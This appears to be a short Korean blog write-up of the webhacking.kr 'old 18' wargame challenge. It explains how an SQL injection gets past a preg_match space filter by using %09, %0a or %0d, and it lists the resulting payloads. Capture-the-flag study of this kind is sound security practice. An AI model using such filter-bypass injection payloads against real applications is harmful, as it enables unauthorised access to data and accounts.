2. Information Security/3. War Game
웹해킹 18번 (webhacking.kr old 18)
H232C
2019. 12. 24. 16:51
1. 공격 유형 : SQL INJECTION
2. 취약점 환경 : Preg Match 함수 우회 (취약함수)
3. Write Up
- no값을 받아 preg_match 함수로 패턴매칭 수행 후 일치하면 No Hack 메세지 출력 후 종료
- preg_match 값과 일치하지 않으면 $result 수행 후 id값 비교
id가 guest일 경우, hi guest), (id가 admin일 경우 hi admin 후 solve
- Payload : select id from chall18 where id='guest' and no=0 or no=2
- 공백의 경우 preg_match에서 필터링하여 해당 payload 실행 불가
- preg_match의 공백을 우회하기 위해 공백을 아래의 문구로 대체함
ㅇ TAB : %09 / LinFeed(\n) : %0a / Carrage Return(wr) : %0d
- Payload
ㅇ select id from chall18 where id='guest' and no=0%09or%09no=2
ㅇ select id from chall18 where id='guest' and no=0%0aor%0ano=2
ㅇ select id from chall18 where id='guest' and no=0%0dor%0dno=2
Solve